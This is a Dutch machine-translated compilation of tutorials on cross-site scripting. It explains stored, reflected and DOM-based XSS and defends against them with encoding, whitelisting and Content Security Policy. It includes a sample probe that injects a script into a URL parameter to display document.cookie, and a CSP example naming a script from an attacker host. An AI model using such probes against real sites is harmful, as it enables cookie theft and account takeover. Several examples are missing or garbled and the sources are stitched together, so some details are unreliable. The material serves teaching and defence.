In het voorbeeld van een XSS-aanval in het DOM wordt het kwaadaardige script niet ingevoegd als onderdeel van de pagina; het enige script dat automatisch wordt uitgevoerd wanneer de pagina wordt geladen, is een legitiem onderdeel van de pagina. Het probleem is dat dit legitieme script rechtstreeks gebruikersinvoer gebruikt om HTML aan de pagina toe te voegen. Omdat de kwaadaardige string met behulp van innerHTML in de pagina wordt ingevoegd, wordt deze geparseerd als HTML, waardoor het kwaadaardige script wordt uitgevoerd.

Dit verschil is klein, maar zeer belangrijk:

• Bij traditionele XSS wordt kwaadaardig JavaScript uitgevoerd wanneer de pagina wordt geladen, als onderdeel van de HTML die door de server wordt verzonden.
• In het geval van XSS in het DOM wordt kwaadaardig JavaScript uitgevoerd nadat de pagina is geladen, waardoor de legitieme JavaScript-pagina op een onveilige manier toegang krijgt tot gebruikersinvoer (die de kwaadaardige tekenreeks bevat).

Hoe werkt XSS in de DOM?

In het vorige voorbeeld is JavaScript niet nodig; de server kan alle HTML zelf genereren. Als de server-side code geen kwetsbaarheden zou bevatten, zou de website niet gevoelig zijn voor een XSS-kwetsbaarheid.

Naarmate webapplicaties echter geavanceerder worden, worden ze allemaal steeds geavanceerder meer HTML-pagina's worden gegenereerd met JavaScript aan de clientzijde, niet op de server. De inhoud moet op elk moment veranderen zonder de hele pagina te vernieuwen, dit is mogelijk met met behulp van JavaScript. Dit is met name het geval wanneer de pagina wordt ververst na een AJAX-verzoek.

Dit betekent dat XSS-kwetsbaarheden niet alleen aanwezig kunnen zijn in de code aan de serverzijde van uw site, maar ook in de JavaScript-code aan de clientzijde van uw site. Daarom kan het zijn dat de clientcode, zelfs met volledig beveiligde server-side code, nog steeds niet veilig gebruikersinvoer bevat bij het bijwerken van de DOM nadat de pagina is geladen. Als dit gebeurt, zorgt de code aan de clientzijde ervoor dat een XSS-aanval kan plaatsvinden buiten de schuld van de code aan de serverzijde.

Op DOM gebaseerde XSS is mogelijk niet zichtbaar voor de server

Bestaat speciaal geval XSS-aanvallen in de DOM, waarbij de kwaadaardige string nooit naar de websiteserver wordt verzonden: dit gebeurt wanneer de kwaadaardige string zich bevindt in het identificatiegedeelte van de URL (alles na het #-symbool). Browsers sturen dit deel van de URL niet naar de server, zodat de website er geen toegang toe heeft met behulp van server-side code. Code aan de clientzijde heeft er echter toegang toe, waardoor het mogelijk is om via een onveilige verwerking een XSS-aanval uit te voeren.

Dit geval is niet beperkt tot de fragment-ID. Er is nog meer gebruikersinvoer die onzichtbaar is voor de server, zoals nieuwe HTML5-functies zoals LocalStorage en IndexedDB.

Deel drie:
XSS-preventie XSS-preventietechnieken

Bedenk dat XSS een code-injectie-aanval is: gebruikersinvoer wordt ten onrechte als kwaadaardig geïnterpreteerd. programmacode. Om dit soort code-injectie te voorkomen, is een veilige invoerverwerking vereist. Voor een webontwikkelaar zijn er twee fundamenteel verschillende manieren veilige invoerverwerking uitvoeren:

• Codering is een methode die gebruikersinvoer alleen in de vorm van gegevens toestaat en de browser niet toestaat deze als code te verwerken.
• Validatie is een manier om gebruikersinvoer te filteren, zodat de browser deze interpreteert als code zonder kwaadaardige opdrachten.

Hoewel dit fundamenteel verschillende XSS-preventiemethoden zijn, hebben ze er meerdere gemeenschappelijke kenmerken die belangrijk zijn om te begrijpen bij het gebruik van een van deze:

Context Veilige invoerafhandeling moet anders gebeuren, afhankelijk van waar op de pagina de gebruikersinvoer wordt gebruikt. in/uit Veilige invoerverwerking kan worden uitgevoerd wanneer uw site invoer ontvangt ( inkomend verkeer

) of vlak voordat de site gebruikersinvoer in de pagina-inhoud invoegt (uitgaand).

Client/Server Veilige invoerverwerking kan zowel aan de clientzijde als aan de serverzijde plaatsvinden, waarbij elke optie onder verschillende omstandigheden nodig is.

Er zijn veel contexten op een webpagina waar gebruikersinvoer kan worden toegepast. Voor elk daarvan moeten speciale regels worden gevolgd om ervoor te zorgen dat gebruikersinvoer niet aan de context kan ontsnappen en niet als kwaadaardige code kan worden geïnterpreteerd. Dit zijn de meest voorkomende contexten:

Waarom zijn contexten belangrijk?

In alle beschreven contexten kan een XSS-kwetsbaarheid optreden als gebruikersinvoer wordt ingevoegd vóór de eerste codering of validatie. Een aanvaller kan kwaadaardige code injecteren door simpelweg een scheidingsteken voor deze context in te voegen, gevolgd door kwaadaardige code.

Als de website bijvoorbeeld op een gegeven moment rechtstreeks gebruikersinvoer impliceert HTML-kenmerk, zou een aanvaller een kwaadaardig script kunnen injecteren door zijn invoer te beginnen met een aanhalingsteken, zoals hieronder weergegeven:

Dit kan worden voorkomen door simpelweg alle aanhalingstekens in de gebruikersinvoer te verwijderen en alles zou in orde zijn, maar alleen in deze context. Als de invoer in een andere context is ingevoegd, zal het afsluitende scheidingsteken anders zijn en is injectie mogelijk. Om deze reden moet de veilige verwerking van invoer altijd worden afgestemd op de context waarin de gebruikersinvoer wordt ingevoegd.

Het verwerken van inkomende/uitgaande gebruikersinvoer

Instinctief lijkt het erop dat XSS kan worden voorkomen door alle gebruikersinvoer te coderen of te valideren zodra onze site deze ontvangt. Op deze manier worden eventuele kwaadaardige tekenreeksen al geneutraliseerd wanneer ze op de pagina worden opgenomen, en hoeven HTML-generatiescripts zich geen zorgen te maken over het veilig verwerken van gebruikersinvoer.

Het probleem is dat, zoals eerder beschreven, gebruikersinvoer in meerdere contexten op een pagina kan worden ingevoegd. En nee eenvoudige manier bepalen wanneer gebruikersinvoer in een context arriveert - hoe deze uiteindelijk zal worden ingevoegd, en dezelfde gebruikersinvoer moet vaak in verschillende contexten worden ingevoegd. Door te vertrouwen op de verwerking van inkomende invoer om XSS te voorkomen, creëren we een zeer broze oplossing die foutgevoelig is. (De oude PHP "magische aanhalingstekens" zijn een voorbeeld van een dergelijke oplossing.)

In plaats daarvan zou uitgaande invoerverwerking uw primaire verdedigingslinie tegen XSS moeten zijn, omdat hierbij rekening kan worden gehouden met de specifieke context van de gebruikersinvoer die wordt ingevoegd. Tot op zekere hoogte kan inkomende validatie worden gebruikt om een ​​secundaire beveiligingslaag toe te voegen, maar daarover later meer.

Waar kan veilig met gebruikersinvoer worden omgegaan?

In de meerderheid moderne webapplicaties, wordt gebruikersinvoer verwerkt aan zowel de servercodezijde als de clientcodezijde. Ter bescherming tegen alle typen XSS moet veilige invoerverwerking plaatsvinden in zowel server- als client-side code.

• Ter bescherming tegen traditionele XSS moet veilige invoerverwerking plaatsvinden in server-side code. Dit gebeurt met behulp van een taal die door de server wordt ondersteund.
• Ter bescherming tegen een XSS-aanval in het DOM, waarbij de server nooit een kwaadaardige tekenreeks ontvangt (zoals de eerder beschreven identificatiefragmentaanval), moet veilige invoerverwerking plaatsvinden in code aan de clientzijde. Dit gebeurt met behulp van JavaScript.

Nu we hebben uitgelegd waarom context belangrijk is, waarom het onderscheid tussen inkomende en uitgaande invoerverwerking ertoe doet belangrijk, en waarom veilige invoerverwerking aan beide kanten moet worden uitgevoerd, zowel aan de clientzijde als aan de serverzijde, kunnen we verder uitleggen hoe de twee soorten veilige invoerverwerking (codering en validatie) feitelijk worden uitgevoerd.

Codering

Codering is een uitweg uit een situatie waarin het voor de browser nodig is om gebruikersinvoer alleen als gegevens te interpreteren en niet als code. Het meest populaire type codering bij webontwikkeling is HTML-maskering, waarmee tekens zoals< и >V< и >respectievelijk.

De volgende pseudocode is een voorbeeld van hoe gebruikersinvoer (gebruikersinvoer) kan worden gecodeerd met behulp van HTML-maskering en vervolgens in een pagina kan worden ingevoegd met behulp van een server-side script:

afdrukken ""
afdrukken "Laatste opmerking: "
print encodeHtml(gebruikersinvoer)
afdrukken ""

Als de gebruiker binnenkomt volgende regel..., de resulterende HTML ziet er als volgt uit:

Laatste opmerking:
...

Omdat alle tekens met een speciale betekenis zijn geëscaped, zal de browser geen enkel deel van de gebruikersinvoer, zoals HTML, parseren.

Coderen van client- en server-side code

Bij het coderen aan de clientzijde wordt altijd JavaScript gebruikt, dat ingebouwde functies heeft die gegevens voor verschillende contexten coderen.

Wanneer u codeert in uw server-side code, vertrouwt u op de functies die beschikbaar zijn in uw taal of raamwerk. Vanwege grote hoeveelheid beschikbare talen en raamwerken, behandelt deze tutorial niet de details van het coderen in een specifieke servertaal of raamwerk. JavaScript-coderingsfuncties die aan de clientzijde worden gebruikt, worden echter ook gebruikt bij het schrijven van code aan de serverzijde.

Codering aan de clientzijde

Bij het coderen van gebruikersinvoer aan de clientzijde met JavaScript zijn er verschillende ingebouwde methoden en eigenschappen die alle gegevens automatisch in een contextgevoelige stijl coderen:

De laatste context die hierboven al is genoemd (waarden in JavaScript) is niet opgenomen in deze lijst omdat JavaScript geen ingebouwde manier biedt om gegevens te coderen die worden opgenomen in broncode JavaScript.

Coderingsbeperkingen

Zelfs bij het coderen is het in sommige contexten mogelijk om kwaadaardige tekenreeksen te gebruiken. Een sprekend voorbeeld dit is wanneer gebruikersinvoer wordt gebruikt om een ​​URL op te geven, zoals in het onderstaande voorbeeld:

document.querySelector("a").href = gebruikersinvoer

Hoewel gespecificeerde waarde in de href-eigenschap van het element wordt deze automatisch gecodeerd zodat deze niets meer wordt dan de waarde van het attribuut. Dit op zichzelf weerhoudt een aanvaller er niet van een URL in te voegen die begint met "javascript:". Wanneer op een link wordt geklikt, ongeacht de constructie, wordt het ingebedde JavaScript in de URL uitgevoerd.

Coderen is ook geen effectieve oplossing als u wilt dat gebruikers een deel van de HTML-code op de pagina kunnen gebruiken. Een voorbeeld is een gebruikersprofielpagina waar de gebruiker aangepaste HTML kan gebruiken. Als deze gewone HTML is gecodeerd, kan de profielpagina alleen uit platte tekst bestaan.

In dergelijke situaties moet codering worden aangevuld met validatie, waar we later naar zullen kijken.

Geldigmaking

Validatie is het filteren van gebruikersinvoer, zodat alle kwaadaardige delen ervan worden verwijderd, zonder dat alle code erin hoeft te worden verwijderd. Met een van de meest gebruikte typen validatie bij webontwikkeling kunt u bepaalde HTML-elementen (bijvoorbeeld en ) gebruiken terwijl u andere uitschakelt (bijvoorbeeld ).

Er zijn twee belangrijke kenmerkende controles, die qua implementatie verschillen:

Classificatiestrategie Gebruikersinvoer kan worden geclassificeerd met behulp van zwarte of witte lijsten.

Validatieresultaat Als kwaadaardig geïdentificeerde gebruikersinvoer kan worden afgewezen of opgeschoond.

Classificatiestrategie Zwarte lijst Instinctief lijkt het passend om de controle uit te voeren door een verboden patroon te definiëren dat niet mag verschijnen in gebruikersinvoer. Als een lijn met dit patroon overeenkomt, wordt deze als ongeldig gemarkeerd. Sta gebruikers bijvoorbeeld toe aangepaste URL's in te dienen met elk protocol, bijvoorbeeld behalve javascript : . Deze classificatiestrategie wordt genoemd.

zwarte lijst

De zwarte lijst heeft echter twee belangrijke nadelen: De moeilijkheid om de verzameling van alle mogelijke kwaadaardige tekenreeksen nauwkeurig te beschrijven is doorgaans een zeer moeilijke taak. Het hierboven beschreven voorbeeldbeleid kan niet succesvol worden geïmplementeerd door eenvoudig zoeken door de substring "javascript", omdat er een string als "Javascript:" zal ontbreken (waar de eerste letter in hoofdletter

) en "javascript:" (waarbij de eerste letter wordt gecodeerd als een numerieke tekenreferentie).

Afschaffing Zelfs als er een perfecte zwarte lijst zou worden ontwikkeld, zou het nutteloos zijn als een nieuwe functie die aan de browser wordt toegevoegd, voor aanvallen zou kunnen worden gebruikt. Als er bijvoorbeeld een zwarte lijst voor HTML-validatie werd ontwikkeld voordat het onmousewheel-attribuut in HTML5 werd geïntroduceerd, zou deze een aanvaller er niet van kunnen weerhouden dit attribuut te gebruiken om een ​​XSS-aanval uit te voeren. Dit nadeel is vooral belangrijk bij webontwikkeling, die bestaat uit veel verschillende technologieën die voortdurend worden bijgewerkt.

Vanwege deze tekortkomingen wordt het plaatsen van zwarte lijsten als classificatiestrategie sterk afgeraden. Whitelisten is over het algemeen een veel veiligere aanpak, die we hierna zullen beschrijven. Witte lijst Witte lijst is in wezen het tegenovergestelde van een zwarte lijst: in plaats van een verboden patroon te identificeren, identificeert de whitelist-aanpak een toegestaan ​​patroon en markeert de invoer als ongeldig als deze

In tegenstelling tot zwarte lijsten zou een voorbeeld van witte lijsten zijn dat gebruikers aangepaste URL's kunnen indienen die alleen de protocollen http: en https: bevatten, en niets meer. Deze aanpak maakt het mogelijk dat een URL automatisch als ongeldig wordt gemarkeerd als deze het javascript:-protocol bevat, zelfs als deze wordt weergegeven als "Javascript:" of "javascript:".

Vergeleken met een zwarte lijst hebben witte lijsten twee belangrijke voordelen:

Gemakkelijk om de set nauwkeurig te beschrijven veilige snaren, is meestal veel eenvoudiger dan het identificeren van de set van alle kwaadaardige tekenreeksen. Dit is vooral van toepassing in algemene situaties waarin gebruikersinvoer een zeer beperkte set moet omvatten functionaliteit beschikbaar in de browser. Met de hierboven beschreven witte lijst kunt u bijvoorbeeld heel eenvoudig alleen URL's gebruiken die zijn toegestaan http-protocollen: of https:, en in de meeste situaties is dit voldoende voor gebruikers.

Duurzaamheid In tegenstelling tot een zwarte lijst raakt een witte lijst doorgaans niet verouderd wanneer er een nieuwe functie aan de browser wordt toegevoegd. HTML-whitelist-validatie zorgt er bijvoorbeeld voor dat alleen de titelkenmerken van HTML-elementen veilig blijven, zelfs als deze (de witte lijst) is ontworpen vóór de introductie van het HTML5 onmousewheel-attribuut.

Validatie resultaat

Wanneer gebruikersinvoer als ongeldig (verboden) is gemarkeerd, kan een van de volgende twee acties worden ondernomen:

Het weigeren van invoer wordt eenvoudigweg afgewezen, waardoor wordt voorkomen dat deze elders op de site wordt gebruikt. Door het opschonen worden alle ongeldige delen van de invoergegevens verwijderd en de resterende invoer wordt zoals gebruikelijk op de website gebruikt. Van de twee is afbuiging de eenvoudigste benadering om te implementeren. Maar men denkt dat desinfectie gunstiger is omdat het meer oplevert

Als u besluit desinfectie te implementeren, moet u ervoor zorgen dat de desinfectieprocedure zelf geen zwarte lijstbenadering gebruikt. De URL "Javascript:...", zelfs als deze via een witte lijst als ongeldig wordt geïdentificeerd, krijgt bijvoorbeeld een opschonings-bypass-routine die eenvoudigweg alle exemplaren van "javascript:" verwijdert. Om deze reden moeten goed geteste bibliotheken en raamwerken waar mogelijk gebruik maken van opschoning.

Welke methoden moeten worden gebruikt voor preventie?

Codering zou uw eerste verdedigingslinie moeten zijn tegen XSS-aanvallen. Het doel ervan is om gegevens op een zodanige manier te verwerken dat de browser gebruikersinvoer niet als code kan interpreteren. In sommige gevallen moet de codering worden aangevuld met validatie. Op uitgaand verkeer moet codering en validatie worden toegepast, omdat u alleen dan weet in welke context de gebruikersinvoer zal worden toegepast en welke codering en validatie moet worden toegepast.

Als tweede verdedigingslinie moet u binnenkomende gegevens opschonen of duidelijk ongeldige gebruikersinvoer, zoals links, afwijzen met behulp van het javascript:-protocol. Dit kan op zichzelf geen volledige veiligheid bieden, maar het is wel een nuttige voorzorgsmaatregel als een punt in de coderings- en validatiebescherming zou kunnen mislukken als gevolg van een onjuiste uitvoering.

Als deze twee verdedigingslinies consequent worden gebruikt, wordt uw site beschermd tegen XSS-aanvallen. Vanwege de complexiteit van het maken en onderhouden van een website kan het echter moeilijk zijn om volledige beveiliging te bieden met alleen veilige verwerking van gebruikersinvoer. Als derde verdedigingslinie moet u Content Security Policy (Contentbeveiligingsbeleid) gebruiken ( Engels Inhoudsbeveiliging Beleid), en vervolgens CSP, die we hieronder zullen beschrijven.

Inhoudsbeveiligingsbeleid (CSP)

Alleen het veilig verwerken van gebruikersinvoer ter bescherming tegen XSS-aanvallen is niet voldoende, omdat zelfs één beveiligingsfout uw website in gevaar kan brengen. Het overnemen van Content Security Policies (CSP’s) uit de nieuwe webstandaard kan dit risico verkleinen.

CSP's worden gebruikt om het gebruik van een webpagina door een browser te beperken, zodat deze alleen bronnen kan gebruiken die zijn gedownload van vertrouwde bronnen. A bronnen zijn scripts, stijlbladen, afbeeldingen of een ander type bestand waarnaar op een pagina wordt verwezen. Dit betekent dat zelfs als een aanvaller erin slaagt kwaadaardige inhoud op uw site te injecteren, de CSP kan voorkomen dat deze wordt uitgevoerd.

CSP kan worden gebruikt om de volgende regels af te dwingen:

Onbetrouwbare bronnen verbieden externe bronnen mag alleen worden gedownload van een reeks duidelijk gedefinieerde, vertrouwde bronnen.

Door ingebedde bronnen niet toe te staan, wordt er geen rekening gehouden met inline JavaScript en CSS.

Als u eval uitschakelt, is het gebruik van de eval-functie in JavaScript niet toegestaan.

Laatste opmerking:

CSP in actie In het volgende voorbeeld slaagde een aanvaller erin kwaadaardige code in een webpagina te injecteren: Met een correct gedefinieerd CSP-beleid kan de browser kwaadaardig script.js niet laden en uitvoeren omdat http://attacker/ niet is opgegeven als betrouwbare bron. Hoewel de site er niet in slaagde gebruikersinvoer op betrouwbare wijze te verwerken in

in dit geval Het beleid van CSP voorkwam dat er kwetsbaarheden of schade ontstonden. Zelfs als de aanvaller code in de scriptcode heeft geïnjecteerd, en niet met een link naar

extern bestand

, zal een goed geconfigureerd CSP-beleid ook injectie in JavaScript-code voorkomen, waardoor kwetsbaarheid wordt voorkomen en schade wordt veroorzaakt.

Hoe CSP inschakelen?

Standaard gebruiken browsers geen CSP. Om SCP op uw website in te schakelen, moeten pagina's een extra HTTP-header bevatten: Content‑Security‑Policy. Elke pagina die deze header bevat, zal een beveiligingsbeleid afdwingen wanneer deze door de browser wordt geladen, op voorwaarde dat de browser CSP ondersteunt.

Omdat het beveiligingsbeleid bij elke HTTP-reactie wordt meegestuurd, is het voor de server mogelijk om het beleid voor elke pagina afzonderlijk in te stellen. Hetzelfde beleid kan op de gehele website worden toegepast door in elk antwoord dezelfde CSP-header in te voegen.

De waarde in de header Content‑Security‑Policy bevat een tekenreeks die een of meer beveiligingsbeleidsregels definieert die op uw site worden uitgevoerd. De syntaxis van deze regel zal hieronder worden beschreven.

De kopvoorbeelden in deze sectie gebruiken regeleinden en inspringingen voor het gemak; ze mogen niet in de daadwerkelijke titel voorkomen.

CSP-syntaxis
De syntaxis van de CSP-header is als volgt: Inhoud-beveiligingsbeleid:, Inhoud-beveiligingsbeleid:, ...;
De syntaxis van de CSP-header is als volgt: ...;
...

richtlijn

• bron-expressie
• Bronexpressies zijn modellen die een of meer servers beschrijven van waaruit bronnen kunnen worden geladen.

Voor elke richtlijn specificeren de gegevens in de bronexpressie welke bronnen kunnen worden gebruikt om bronnen van het overeenkomstige type te laden.

Richtlijnen

De volgende richtlijnen kunnen in de CSP-header worden gebruikt:

• connect-src
• lettertype-src
• frame-src
• img-src
• media-src
• object‑src
• script-src
• stijl-src

Daarnaast kan de speciale default-src-richtlijn worden gebruikt om een ​​standaardwaarde op te geven voor alle richtlijnen die niet in de header zijn opgenomen.

Bronexpressie

De syntaxis voor het maken van een bronexpressie is als volgt:

protocol:// hostnaam: poortnummer

De hostnaam kan beginnen met *, wat betekent dat elk subdomein van de opgegeven hostnaam wordt opgelost. Op dezelfde manier kan het poortnummer worden weergegeven als *, wat betekent dat alle poorten zijn toegestaan. Bovendien kunnen het protocol en het poortnummer worden weggelaten. Als er geen protocol is opgegeven, vereist het beleid dat alle bronnen worden geladen via HTTPS.

Naast de bovenstaande syntaxis kan de bronexpressie ook een van de vier zijn trefwoorden met speciale betekenis (inclusief citaten):

"geen" schakelt bronnen uit.

"self" staat bronnen toe van de host waarop de webpagina zich bevindt. "unsafe-inline" zet bronnen op de pagina om als inline-elementen, elementen en javascript: URL's."unsafe-eval" schakelt de JavaScript-functie eval in.

Houd er rekening mee dat wanneer CSP wordt gebruikt, ingebouwde bronnen en evaluatie standaard automatisch worden uitgeschakeld. Gebruik van "unsafe‑inline" en "unsafe‑eval" —

CSP-syntaxis
de enige manier
voor hun gebruik.
Voorbeeldbeleid
script‑src "zelf" scripts.example.com;

media-src "geen";

• img-src *;
• standaard-src "self" http://*.example.com
• Met dit voorbeeldbeleid heeft de webpagina de volgende beperkingen:
• Scripts kunnen alleen worden gedownload vanaf de host waarop de webpagina zich bevindt en vanaf dit adres: scripts.example.com.

Audio- en videobestanden mogen niet worden gedownload.

Beeldbestanden kunnen vanaf elk adres worden gedownload. verschillende browsers. Het gebruik van de HTTP-header kan bijvoorbeeld per browser verschillen. Raadpleeg voordat u CSP gebruikt de documentatie van de browsers die u wilt ondersteunen.

Samenvatting Samenvatting: XSS-overzicht

• Een XSS-aanval is een code-injectieaanval die mogelijk wordt gemaakt door een onveilige verwerking van gebruikersinvoer.
• Bij een succesvolle XSS-aanval kan de aanvaller kwaadaardig JavaScript uitvoeren in de browser van het slachtoffer.
• Een succesvolle XSS-aanval brengt de veiligheid van zowel de website als haar gebruikers in gevaar.

Samenvatting: XSS-aanvallen

• Er zijn drie hoofdtypen XSS-aanvallen:
  • Opgeslagen XSS, waarbij kwaadaardige invoer afkomstig is uit de database van de website.
  • Gereflecteerde XSS, waarbij kwaadwillige invoer afkomstig is van het verzoek van het slachtoffer.
  • XSS-aanvallen in het DOM, waarbij de kwetsbaarheid wordt uitgebuit in code aan de clientzijde, en niet aan de serverzijde.
• Al deze aanvallen worden verschillend uitgevoerd, maar hebben, indien succesvol, hetzelfde effect.

Samenvatting: XSS voorkomen

• Meest belangrijke manier Het voorkomen van XSS-aanvallen is het uitvoeren van veilige invoerverwerking.
  • Codering moet worden uitgevoerd wanneer gebruikersinvoer op de pagina is ingeschakeld.
  • In sommige gevallen moet de codering worden vervangen of aangevuld door validatie.
  • Bij een veilige invoerverwerking moet rekening worden gehouden met de paginacontext waarin de gebruikersinvoer wordt ingevoegd.
  • Om alle soorten XSS-aanvallen te voorkomen, moet veilige invoerverwerking plaatsvinden in zowel client- als server-side code.
• Content Security Policies (CSP) zorgen ervoor extra niveau bescherming als de beveiligde invoerverwerking een fout bevat.

Bijlage Terminologie

Opgemerkt moet worden dat er sprake is van een cross-over in de terminologie die wordt gebruikt om XSS te beschrijven: een XSS-aanval in de DOM kan worden opgeslagen of gereflecteerd; Dit zijn geen afzonderlijke soorten aanvallen. Er bestaat geen algemeen aanvaarde terminologie die alle typen XSS zonder verwarring dekt. Ongeacht de terminologie die wordt gebruikt om XSS te beschrijven, het belangrijkste is om het type aanval te bepalen. Dit is mogelijk als je weet waar de kwaadaardige input vandaan komt en waar de kwetsbaarheid zich bevindt.

Gebruiksrechten en links

De broncode voor Overtollige XSS is beschikbaar op GitHub.

Overtollige XSS werd in 2013 opgericht als onderdeel van de Language-Based Security-cursus aan de Chalmers University of Technology.

De vertaling naar het Russisch werd uitgevoerd door A888R, originele tekst in Engels: excess-xss.com, stuur hier opmerkingen, suggesties en vertaalfouten.

Artikel \"Websites beveiligen\" aangeboden door Sophos Plc en SophosLabs.

December 2007

Dit type De aanval richt zich op websites die gebruikersinvoer weergeven. In plaats van te proberen controle over de database te krijgen door kwaadaardige code te injecteren, probeert de aanvaller de code van de website zelf aan te vallen door er kwaadaardige segmenten in te injecteren.

Veel sites slaan de namen van alle bezoekers op in een database, zodat deze kunnen worden weergegeven wanneer de overeenkomstige gebruikers binnenkomen. Een aanvaller kan een nepaccount aanmaken door kwaadaardige code in het naamveld te plaatsen. Dergelijke aanvallen worden meestal uitgevoerd met behulp van kwaadaardige scripts Javascript-taal, die vervolgens inhoud van een andere website downloaden. De database zou de gebruikersnaam moeten opslaan, maar in dit geval zal het in feite kwaadaardige code zijn. Als een website de gebruikersnaam bovenaan de pagina weergeeft, wordt deze code dus uitgevoerd. Omdat dergelijke code onder bepaalde omstandigheden bijna alles kan, wordt de dreiging heel reëel; ontwikkelaars vergeten het echter vaak. Voor de laatste tijd Veel populaire websites zijn het slachtoffer geworden van XSS-aanvallen, waaronder MySpace, Facebook, Google-mail, VKontakte.

Opmerking.

Beschouw de volgende PHP-code:

$voornaam = $_POST[\"voornaam\"]; echo \"Je naam: $voornaam\";

Nadat u uw naam in het webformulier heeft ingevoerd, geeft de site een bijbehorend bericht op de pagina weer. Als u in het formulier de naam “Chris” invult, ziet het bericht er als volgt uit: “Uw naam: Chris”.

Wat gebeurt er als je in plaats van een naam de volgende constructie invoert: “alert (“Je bent zojuist gehackt!”) ;" ?

Helaas zijn XSS-aanvallen vaak moeilijk te bestrijden omdat ze een goede filtering van invoer- en uitvoergegevens vereisen, evenals alle velden die door gebruikers kunnen worden gewijzigd. Dit omvat gegevens verkregen van KRIJG verzoeken en POST, evenals verzoeken die vanuit de database worden geretourneerd.

PHP heeft een aantal pakketten die helpen bij het filteren van de uitvoer, zoals CodeIgniter. PHP heeft ook een ingebouwde functie, htmlspecialchars, die kan worden gebruikt om de uitvoer te filteren.

XSS (cross-site scripting) is een van de soorten aanvallen op websystemen, waarbij kwaadaardige code op een specifieke pagina van de site wordt geïnjecteerd en de interactie van deze code met de externe server van de aanvaller plaatsvindt wanneer de gebruiker de pagina opent. .

De term staat in het Engels voor Cross-Site Scripting, maar kreeg tegelijkertijd de afkorting XSS om verwarring met CSS (Cascading Style Sheets) te voorkomen.

Hoe cross-site scripting werkt

Het belangrijkste doel van cross-site scripting is het stelen van gebruikerscookies met behulp van een script dat in de server is ingebouwd, waarbij de benodigde gegevens verder worden bemonsterd en gebruikt voor daaropvolgende aanvallen en hacks. De aanvaller valt gebruikers niet rechtstreeks aan, maar maakt gebruik van kwetsbaarheden in de website die de slachtoffers bezoeken en injecteert speciaal JavaScript. In de browser van de gebruiker wordt deze code weergegeven als een enkel onderdeel van de site. In dit geval is de bezochte bron feitelijk medeplichtig aan de XSS-aanval.

Vergeleken met SQL-injecties is XSS veilig voor de server, maar vormt het een bedreiging voor gebruikers van de geïnfecteerde bron of pagina. Als een aanvaller echter de cookies van de beheerder in handen krijgt, kan deze toegang krijgen tot het configuratiescherm van de site en de inhoud ervan.

XSS-aanvalstechniek

Het uitvoeren van kwaadaardige JavaScript-code is alleen mogelijk in de browser van het slachtoffer, dus de site die de gebruiker bezoekt moet een XSS-kwetsbaarheid hebben. Om een ​​aanval uit te voeren controleert een aanvaller in eerste instantie bronnen op kwetsbaarheden via XSS, met behulp van geautomatiseerde scripts of handmatig zoeken. Meestal dit standaardformulieren, waarmee verzoeken (opmerkingen, zoekopdrachten, feedback) kunnen worden verzonden en ontvangen.

Uitgevoerd volledige collectie pagina's met invoerformulieren, en elke pagina wordt gescand op kwetsbaarheden. We hebben bijvoorbeeld een ‘Zoek’-pagina op de website. Voer de volgende vraag in om te controleren op XSS-kwetsbaarheden:

Als er een melding op uw scherm verschijnt, betekent dit dat u een beveiligingsfout heeft ontdekt. Anders geeft het systeem u een pagina met zoekresultaten weer. De belangrijkste populaire CMS'en zijn al lang vrij van dergelijke problemen, maar vanwege de mogelijkheid om de functionaliteit uit te breiden via modules en plug-ins gemaakt door externe ontwikkelaars, nemen de kansen op het misbruiken van XSS-kwetsbaarheden aanzienlijk toe, vooral in Joomla, DLE, Bitrix en Wordpress. Meestal worden XSS-kwetsbaarheden ingecheckt Internetbrowser Ontdekkingsreiziger.

Een andere mogelijke optie zoeken - met behulp van pagina's die GET-verzoeken verwerken. Laten we zeggen dat we een link hebben zoals: http://site.ru/catalog?p=8

In de adresbalk voegen we in plaats van de ID (8) het script toe - ">alert("cookie: "+document.cookie), als resultaat krijgen we een link zoals deze: http://site.ru/ catalog?p= ">alert(" cookie: "+document.cookie) .

Als een pagina XSS-kwetsbaarheden bevat, verschijnt er een melding van hetzelfde type als in het eerste geval op het scherm.

Er zijn een groot aantal kant-en-klare scripts en zoekopdrachten om naar “gaten” op een website te zoeken, en als geen van deze geschikt is, wordt de bron op betrouwbare wijze beschermd tegen dergelijke aanvallen.

Algemene classificatie van XSS

Er bestaat geen duidelijke classificatie voor cross-site scripting, maar experts over de hele wereld hebben drie hoofdtypen geïdentificeerd.

Opgeslagen XSS (permanent) . Een van de meest gevaarlijke soorten kwetsbaarheden, omdat het een aanvaller in staat stelt toegang te krijgen tot de server en er kwaadaardige code van te beheren (verwijderen, wijzigen). Elke keer dat u de site bezoekt, wordt een vooraf geladen code uitgevoerd die automatisch werkt. Meestal zijn forums, portals en blogs, waar de mogelijkheid bestaat om zonder beperkingen commentaar te geven in HTML, vatbaar voor dergelijke kwetsbaarheden. Schadelijke scripts kunnen eenvoudig worden ingesloten in zowel tekst als afbeeldingen en tekeningen.

Gereflecteerde XSS (niet-persistent) . In dit geval fungeert de kwaadaardige string als een verzoek van het slachtoffer aan de geïnfecteerde website. Dit principe werkt volgens het volgende schema:

De aanvaller maakt vooraf een URL-link die kwaadaardige code bevat en stuurt deze naar zijn slachtoffer.

Ze stuurt dit URL-verzoek door naar de site (volgt de link).

De site haalt automatisch gegevens uit de kwaadaardige reeks en vervangt deze in de vorm van een aangepast URL-antwoord voor het slachtoffer.

Als gevolg hiervan wordt in de browser van het slachtoffer een kwaadaardig script uitgevoerd dat in de reactie zit, en ontvangt de aanvaller alle cookies van deze gebruiker.

DOM-modellen. Deze optie maakt het gebruik van zowel opgeslagen als gereflecteerde XSS mogelijk. De bottom line is dit:

De aanvaller maakt vooraf een URL aan die kwaadaardige code bevat en stuurt deze via e-mail of op een andere manier naar de gebruiker.

Een persoon klikt op deze link, de geïnfecteerde site accepteert het verzoek, met uitzondering van de kwaadaardige string.

Op de pagina van de gebruiker wordt een script uitgevoerd, waardoor een kwaadaardig script wordt geladen en de aanvaller cookies ontvangt.

Typen XSS per interactiemethode

Omdat het hoofddoel van de aanvaller het uitvoeren van een kwaadaardig script op de computer van het slachtoffer is, zijn er ook twee hoofdtypen XSS-aanvallen, afhankelijk van de interactiemethode.

Passief. Er is een specifieke actie van het slachtoffer vereist om de gebeurtenishandler aan te roepen en het kwaadaardige script in de beoogde vorm uit te voeren. Voor dit doel wordt het gebruikt sociale engineering, zoals het sturen van een e-mail waarin u wordt aangemoedigd een link te volgen en op een specifiek gedeelte van de site te klikken. Zodra de gebruiker het gewenste object aanwijst en erop klikt, wordt het kwaadaardige script gelanceerd. Als het slachtoffer inactief is, wordt de code niet geactiveerd.

